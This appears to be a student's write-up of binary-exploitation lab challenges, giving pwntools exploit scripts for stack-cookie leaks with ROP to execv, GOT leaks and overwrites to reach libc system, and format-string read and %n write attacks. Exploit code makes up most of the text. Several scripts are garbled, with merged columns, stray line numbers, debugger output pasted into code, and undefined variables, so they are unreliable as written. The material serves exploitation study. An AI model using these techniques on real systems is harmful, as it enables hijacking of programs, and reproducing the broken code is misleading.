#### 1. 0-sr-1

In this case, we use the concept of sequential read to get the stack cookie to pass the examination of it. After that, we can use ROP to trigger the execv function.

#### sr.py

```
#!/use/bin/env python
from pwn import *
p = process('./sr-1')
print(p.recvline().strip())
print(p.recvline().strip())
p.sendline('400')
data = p.recv(400)
chunks = [u64(data[i*8:i*8+8]) for i in xrange(len(data)/8)]
for addr in chunks:
    print(hex(addr))
0xf2b3e363c9a82b00 stack_cookie

0x7fffb7fc1110 +1 saved rbp

0x5583361049f6 +2 return addr

0x558336104a00 main reserve block 0
0x7fffb7fc11f8
0x1000000000
                        saved rbp of main
0x558336104a00
0x7f3572a50840
                          return addr of main ->libc_start_main
stack_cookie_value = chunks[0x88/8]
libc_start_main_somewhere = chunks[0x88/8 + 8]
code_addr_base = chunks[0x88/8 + 2] - 0x9f6 #cause it align the page
buf = 'A' * 0X88 + p64(stack_cookie_value) + "RBP!RBP!"
#0x0000000000000000a63 : pop rdi ; ret
#0x0000000000000000a61 : pop rsi ; pop r15 ; ret
addr_at = code_addr_base + 0x20
p_rdi_r = code_addr_base + 0xa63
p_rsi_r15_r = code_addr_base + 0xa61
pwndbg> x/gx $rsp
0x7ffd58b92548: 0x00007fbe35fab840
pwndbg> print execv
$1 = {int (const char *, char * const *)} 0x7fbe360578e0 <execv>
libc execv = libc start main somewhere - 0x000007fbe35fab840 + 0x7fbe360578e0
buf += p64(p_rdi_r)
buf += p64(addr_at)
buf += p64(p_rsi_r15_r)
buf += p64(0)
buf += p64(0)
buf += p64(libc_execv)
p.sendline(buf)
p.interactive()
```

#### 2. 1-ar-2

In the case, the concept of arbitrary read was used. We can read 8 bytes from the address of printf\_got to get the address of libc\_printf. After that, the precise address of system can be calculated by the offset between printf and system. Finally, use the ROP to trigger the libc\_system.

## ar.py

```
#!/usr/bin/env python
from pwn import *
envs = {'PATH':'./:./bin:/usr/bin'}
p = process('./ar-2', env=envs)
printf_got = p.elf.got['printf']
print(hex(printf_got))
print(p.recvline().strip())
print(p.recvline().strip())
p.sendline('8')
print(p.recvline().strip())
p.sendline(hex(printf_got))
print(p.recvline().strip())
data = p.recv(8)
print(repr(data))
libc_printf = u64(data)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
printf_offset = libc.symbols['printf']
system_offset = libc.symbols['system']
print(hex(libc_printf))
libc_system = libc_printf - printf_offset + system_offset
print(p.recvline().strip())
buf = 'A' * 0x80 + "RBP!RBP!"
0x0000000000400a2c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a2e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000000400a30 : pop r14 ; pop r15 ; ret
0x0000000000400a32 : pop r14 ; pop r15 ; ret

0x000000000400822 : pop r15 ; ret

0x000000000400822 : pop rbp ; mov byte ptr [rip + 0x20086e], 1 ; ret

0x0000000000400a7af : pop rbp ; mov edi, 0x601080 ; jmp rax

0x00000000000400a2b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

0x00000000000400a2f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000004007c0 : pop rbp ; ret
0x00000000004009cb : pop rbx ; pop rbp ; ret
0x00000000000400a33 : pop rdi ; ret
0x00000000000400a31 : pop rsi ; pop r15 ; ret
0x0000000000400a2d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
p_redi_r = 0x400a33
addr_at = 0x400020
#system("@")
buf += p64(p_redi_r)
buf += p64(addr_at)
buf += p64(libc_system)
p.sendline(buf)
p.interactive()
```

#### 3. 2-aw-1

In this case, the concept of arbitrary write was used. We can exploit the function program provides to write the address of the function which we want to run into the address of printf\_got. Finally, the program will execute the please\_execute\_me when it calls the printf function.

## aw.py

```
aw.py
  #!/use/bin/env python
  from pwn import *
  #context.terminal = ['tmux', 'tplitw', '-h']
  p = process('./aw-1')
  #gdb.attach(p)
  printf_got = p.elf.got['printf']
  addr_target_func = p.elf.symbols['please_execute_me']
  print(hex(printf_got))
  print(hex(addr_target_func))
  print(p.recvline().strip())
  print(p.recvline().strip())
  p.sendline('8')
  print(p.recvline().strip())
  p.sendline(hex(printf_got))
  print(p.recvline().strip())
  p.send(p64(addr_target_func))
  p.interactive()
```

#### 4. 3-aw-2

In this case, the concept of arbitrary read and write were used. First, we got the value of libc\_put by read\_function then use it to calculate the precise address of libc\_system. After that, we write the address of libc\_system into the address of printf\_got to trigger the system function then run the Writing file (set PATH).

#### aw.py

```
aw.py
   #!/use/bin/env python
   from pwn import *
   envs = { 'PATH' : '.:/bin:/usr/bin' }
  p = process('./aw-2',env=envs)
  puts_got = p.elf.got['puts']
  printf_got = p.elf.got['printf']
   print(p.recvline().strip())
   print(p.recvline().strip())
  p.sendline('8')
  print(hex(puts_got))
   print(p.recvline().strip())
   p.sendline(hex(puts_got))
   print(p.recvline().strip())
   byte_libc_puts = p.recv(8)
   libc_puts = u64(byte_libc_puts)
  print(hex(libc_puts))
  libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
   puts_offset = libc.symbols['puts']
   system_offset = libc.symbols['system']
   libc_system = libc_puts - puts_offset + system_offset
   print(p.recvline().strip())
   print(p.recvline().strip())
  p.sendline('8')
  print(p.recvline().strip())
  print(hex(printf_got))
  p.sendline(hex(printf_got))
   p.sendline(p64(libc_system))
   p.interactive()
```

#### 5. 4-fs-read-1-32

In this case, we used the concept of format string. We can use "%p" to get the value of the stack. Thus, we type like "%p %p %p %p %p %p %p" to get the several values then compare them to the answer. We can find that the answer will be at 6<sup>th</sup> value.

# \*\*\*\*\*\*program\*\*\*\*\*\*

## \$./fs-read-1-32

Please type your name first:

%p %p

Hello 0xffac3b6c 0x3f 0x804870a 0xf7f437eb (nil) **0x6d6155cc** 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070

Can you guess the random?

0x6d6155cc

Great!

#### 6. 5-fs-read-1-64

In this case, we used the concept of format string. We can use "%p" to get the value of the stack. Thus, we type like "%p %p %p %p %p %p %p" to get the several values then compare them to the answer. We can find that the answer will be at 7<sup>th</sup> value.

# \*\*\*\*\*\*program\*\*\*\*\*\*

#### \$./fs-read-1-64

Please type your name first:

%p %p

Hello 0x400b21 0x7f913d15b780 0x6 0x7f913d367700 0x6 (nil) **0xf0662cc100000000** 0x702520

Can you guess the random?

0xf0662cc1

Great!

### 7. 6-fs-read-2-32

In this case, we used the concept of format string. However, we cannot use the previous method to get the value because of the number limitation. Thus, we are going to use like position to directly read the value at the designated position. By using gdb, we know that the random was putted at ebp-0x10 and the first address of the printed value. Thus, we can calculate the precise gap we need to cross then read the random number.

 $((0xff915758 - 0xff915504)/4 + 1 \rightarrow 150)$ 

# \*\*\*\*\*\*program\*\*\*\*\*\*

# \$./fs-read-2-32

Please type your name first:

%150\$p

Hello 0xdba34866

Can you guess the random? 0xdba34866 Great!

#### 8. 7-fs-read-2-64

In this case, we used the concept of format string. However, we cannot use the previous method to get the value because of the number limitation. Thus, we are going to use like %position\$p to directly read the value at the designated position. By using gdb, we know that the random was putted at ebp-0x1c and the first address of the printed value. Thus, we can calculate the precise gap we need to cross then read the random number. But we have to add 5 more number because it exists more 5 values before the top of stack.

 $((0x7ffc3c54fd14 - 0x7ffc3c54fad0) / 8 + 1 + 5 \rightarrow 78)$ 

```
*******program*******
$ ./fs-read-2-64
```

Please type your name first: %78\$p

Hello **0xd482a519**00000007

Can you guess the random? 0xd482a519

Great!

# 9. 8-fs-arbt-read-32

In this case, the random number was stored as global variable and its address is fixed. Thus, we can use format string to read the value from the fixed address then extract the number we need.

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 addr_random_value = 0x804a050
6
7 p = process("./fs-arbt-read-32")
8
9 print(p.recvline().strip())
10
11 buf = p32(addr_random_value) + '%7$s'
12 p.sendline(buf)
13
14 response = p.recvline().strip()
15
16 print(repr(response))
17
18 answer = hex(u32(response[-4:]))
19
20 p.sendline(answer)
21 p.interactive()
```

## 10. 9-fs-arbt-read-64

11. In this case, the random number was stored as global variable and its address is fixed. Thus, we can use format string to read the value from the fixed address then extract the number we need. But the address we want to read must be placed after the instruction because the program will stop if it meets the null in 64 bits system.

```
fs.py
1 #!/usr/bin/env python
2
3 from pwn import *
4
5 addr_random_value = 0x60109c
6
7 p = process("./fs-arbt-read-64")
8
9 print(p.recvline().strip())
10
11 buf = '%9$s' + "\x00\x00\x00\x00" + p64(addr_random_value)
12 p.sendline(buf)
13
14 response = p.recvline().strip()
15 print(repr(response))
16 answer = hex(u32(response[-4:]))
17
18 p.sendline(answer)
19 p.interactive()
```

#### 12. a-fs-arbt-write-32

In this case, we try to write the correct value into global\_random. First, we got the address of variable, global\_random. Separate it to two parts, then write the 0xfaceb00c into it.

```
It will be like: \label{eq:condition} $$ \text{"}\x0c\xb0\x00\x00" (10\ 11\ 12\ 13)$ then \\ \label{eq:condition} $$ \text{"}\xce\xfa\x00\x00" (12\ 13\ 14\ 15)$ $$ \to \label{eq:condition} $$ \to \label{eq:condition} $$ \text{"}\x0c\xb0\xce\xfa" (finally) $$
```

#### 13. b-fs-arbt-write-64

In this case, we try to write the correct value into global\_random. First, we got the address of variable, global\_random. Separate it to two parts, then write the 0xfaceb00c into it. In addition, the instruction must be placed before the address of global random because the program will stop when it meets the null.

#### 14. c-fs-code-exec-32

In this case, we use printf as AR to leak the GOT of printf in the beginning. Then, get the address of system in libc. Finally, use printf as AW to overwrite GOT['printf'] = libc\_system.

```
fs.py
                                                                                   # %7%n%8$n
buf = 'AAAABBBB'
     #!/usr/bin/env python
     from pwn import *
     p = process('./fs-code-exec-32',env=envs)
                                                                                   buf = p32(got_printf) + p32(got_printf + 2)
     print(p.recvline().strip())
     first = (libc_system & 0xffff)
#step 1: using printf as AR to leak the GOT of printf second = ((libc_system >> 16) & 0xffff)
     got_printf = p.elf.got['printf']
                                                                                   while second < first:
second += 0x10000
     print(hex(got_printf))
                                                                                   second -= first
first -= 8
     #[ address (4 byte) ] %7$p
#[ address (4 byte) ] %7$p
                                                                                   buf += "%" + str(first) + "x" + "%7$n"
buf += "%" + str(second)+ "x" + "%8$n"
     buf = p32(got_printf) + '%7$s'
                                                                                   print(repr(buf))
raw_input('Press ENTER to continue')
p.sendline(buf)
     p.sendline(buf)
     line = p.recvline().strip()
                                                                                   line = p.recvline().strip()
print(repr(line))
line = p.recvline().strip()
print(repr(line))
     print(repr(line))
     libc_printf = u32(line[10:14])
                                                                                  p.interactive
     print(hex(libc_printf))
     e = ELF('/lib/i386-linux-gnu/libc.so.6')
     printf_offset = e.symbols['printf']
system_offset = e.symbols['system']
     libc_system = libc_printf - printf_offset + system_offset
     print(hex(libc_system))
```

#### 15. d-fs-code-exec-64

In this case, we use printf as AR to leak the GOT of printf in the beginning. Then, get the address of system in libc. Finally, use printf as AW to overwrite GOT['printf'] = libc\_system. Furthermore, we instruction must placed before the address we want to read and write.

```
fs.py
  from pwn import *
  envs = {'PATH':'./:/bin:/usr/bin'}
   p = process('./fs-code-exec-64',env=envs)
   print(p.recvline().strip())
   got_printf = p.elf.got['printf']
  print(hex(got_printf))
  #[ address (4 byte) ] %7$p
   #[ address (4 byte) ] %7$p
   buf = \%7$s" + \xwellx00\x00\x00" + p64(got_printf)
   p.sendline(buf)
   line = p.recvline().strip()
   print(repr(line))
   print(line[6:14])
   libc_printf = u64(line[6:14] + "\x00\x00")
   print(hex(libc_printf))
   # step 2: address of system in libc
   e = ELF('/lib/x86_64-linux-gnu/libc.so.6')
   printf_offset = e.symbols['printf']
   system_offset = e.symbols['system']
   libc_system = libc_printf - printf_offset + system_offset
   print(hex(libc_system))
```

```
# step 3:using printf as AW to oversrite GOT['printf'] = libc_system
44 buf = ''
     XX YY 00 00
56 _1 = (libc_system & 0xffff)
  _2 = ((libc_system >> 16) & 0xffff)
  _3 = ((libc_system >> 32) & 0xffff)
  _4 = ((libc_system >> 48) & 0xffff)
  while _2 < _1:
    _2 += 0x10000
  while \_3 < \_2:
     _3 += 0x10000
  while _4 < _3:
     _4 += 0x10000
9 third = _3 - _2
  second = _2 - _1
  first = 1
  __1 = "%09d" % first
  __2 = "%09d" % second
  __3 = "%09d" % third
  __4 = "%09d" % fourth
  buf += "%" + __1 + "x" + "%14$n"
  buf += "%" + __2 + "x" + "%15$n"
  buf += "%" + __3 + "x" + "%16$n"
  buf += "%" + 4 + "x" + "%17$n"
  buf += p64(got_printf)
  buf += p64(got_printf + 2)
  buf += p64(got_printf + 4)
  buf += p64(got_printf + 6)
  print(repr(buf))
  raw_input('Press ENTER to continue')
  p.sendline(buf)
 2 #line = p.recvline().strip()
 3 #print(repr(line))
97 <u>n</u>.interactive()
```

#### 16. e-fs-code-exec-pie-64

First, use 1st printf as sequential read primitive. Then, use 2nd printf as arbitrary read primitive, leak libc\_puts. Finally, use 3rd printf as arbitrary write primitive, overwrite PUTS got.

```
fs.py
   #!/usr/bin/env python
   from pwn import *
 6 # stdp 1: using 1st printf as sequential read primitive
   p = process('./fs-code-exec-pie-64',env=envs)
   print(p.recvline().strip())
   p.sendline("%137$p")
   line = p.recvline().strip()
   print(line)
   hex_addr_code = line.split(' ')[1]
   leaked_code_address = int(hex_addr_code, 16)
   code_base_addr = leaked_code_address & 0xffffffffffff000
   print(hex(code_base_addr ))
   offset_got_puts = p.elf.got['puts']
   got_puts = code_base_addr + offset_got_puts
   print(hex(got_puts))
```

```
fs.py
      # objective 2: getting the libc address of puts, read that from GOT of puts
# step 2: using 2nd printf as arbitrary read primitive, leak libc_puts
     print(p.recvline().strip())
     buf = "%7$s_
     buf += p64(got_puts)
     p.sendline(buf)
     line = p.recvline().strip()
print(repr(line))
    libc_puts = u64(line[14:20] + "\x00\x00")
     print(hex(libc_puts))
     e= ELF('/lib/x86_64-linux-gnu/libc.so.6')
     puts_offset = e.symbols['puts']
system_offset = e.symbols['system']
     libc_system = libc_puts - puts_offset + system_offset
print(hex(libc_system))
     print(p.recvline().strip())
     _1 = libc_system & 0xfffff
     _2 = (libc_system >> 16) & 0xffff
_3 = (libc_system >> 32) & 0xffff
_4 = (libc_system >> 48) & 0xffff
     while _2 < _1:
    _2 += 0x10000
while _3 < _2:
    _3 += 0x10000
while _4 < _3:
    _4 += 0x10000
     fourth = _4 - _3
third = _3 - _2
second = _2 - _1
first = _1
     __2 = "%09d" % second
__3 = "%09d" % third
__4 = "%09d" % fourth
     buf += '%' + __1 + 'x%14$n'
buf += '%' + __2 + 'x%15$n'
buf += '%' + __3 + 'x%16$n'
buf += '%' + __4 + 'x%17$n'
     buf += p64(got_puts)
     buf += p64(got_puts+2)
buf += p64(got_puts+4)
      buf += p64(got_puts+6)
     print(repr(buf))
raw_input("press ENGER to continue")
p.sendline(buf)
```

p.interactive()